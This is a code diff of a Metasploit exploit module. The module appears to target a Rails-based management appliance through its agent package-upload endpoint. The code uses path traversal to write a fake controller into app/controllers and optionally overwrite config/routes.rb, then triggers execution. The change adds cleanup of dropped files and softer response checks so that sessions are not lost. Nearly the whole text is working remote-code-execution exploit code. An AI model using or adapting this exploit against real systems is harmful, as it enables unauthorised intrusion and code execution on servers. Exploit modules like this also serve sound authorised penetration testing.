|
8 | 8 | class Metasploit4 < Msf::Exploit::Remote
|
9 | 9 |
|
10 | 10 | include Msf::Exploit::Remote::HttpClient
|
| 11 | + include Msf::Exploit::FileDropper |
11 | 12 |
|
12 | 13 | def initialize
|
13 | 14 | super(
|
@@ -93,15 +94,27 @@ def exploit
|
93 | 94 |
|
94 | 95 | print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
|
95 | 96 | res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
|
96 |
| - |
97 |
| - fail_with(Failure::Unknown, 'No response from remote host') unless res and res.code == 500 |
| 97 | + fail_with(Failure::Unknown, 'No response from remote host') if res.nil? |
| 98 | + register_files_for_cleanup("app/controllers/#{controller}_controller.rb") |
| 99 | + # According to rcvalle, all the version have not been checked |
| 100 | + # so we're not sure if res.code will be always 500, in order |
| 101 | + # to not lose sessions, just print warning and proceeding |
| 102 | + unless res and res.code == 500 |
| 103 | + print_warning("Unexpected reply but proceeding anyway...") |
| 104 | + end |
98 | 105 |
|
99 | 106 | if datastore['ROUTES']
|
100 | 107 | data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"
|
101 | 108 |
|
102 | 109 | print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
|
103 | 110 | res = upload_file("../../config/routes.rb", data)
|
104 |
| - fail_with(Failure::Unknown, 'No response from remote host') unless res and res.code == 500 |
| 111 | + fail_with(Failure::Unknown, 'No response from remote host') if res.nil? |
| 112 | + # According to rcvalle, all the version have not been checked |
| 113 | + # so we're not sure if res.code will be always 500, in order |
| 114 | + # to not lose sessions, just print warning and proceeding |
| 115 | + unless res and res.code == 500 |
| 116 | + print_warning("Unexpected reply but proceeding anyway...") |
| 117 | + end |
105 | 118 | end
|
106 | 119 |
|
107 | 120 | print_status("Sending execute request to #{target_url(controller, action)}...")
|
|
0 commit comments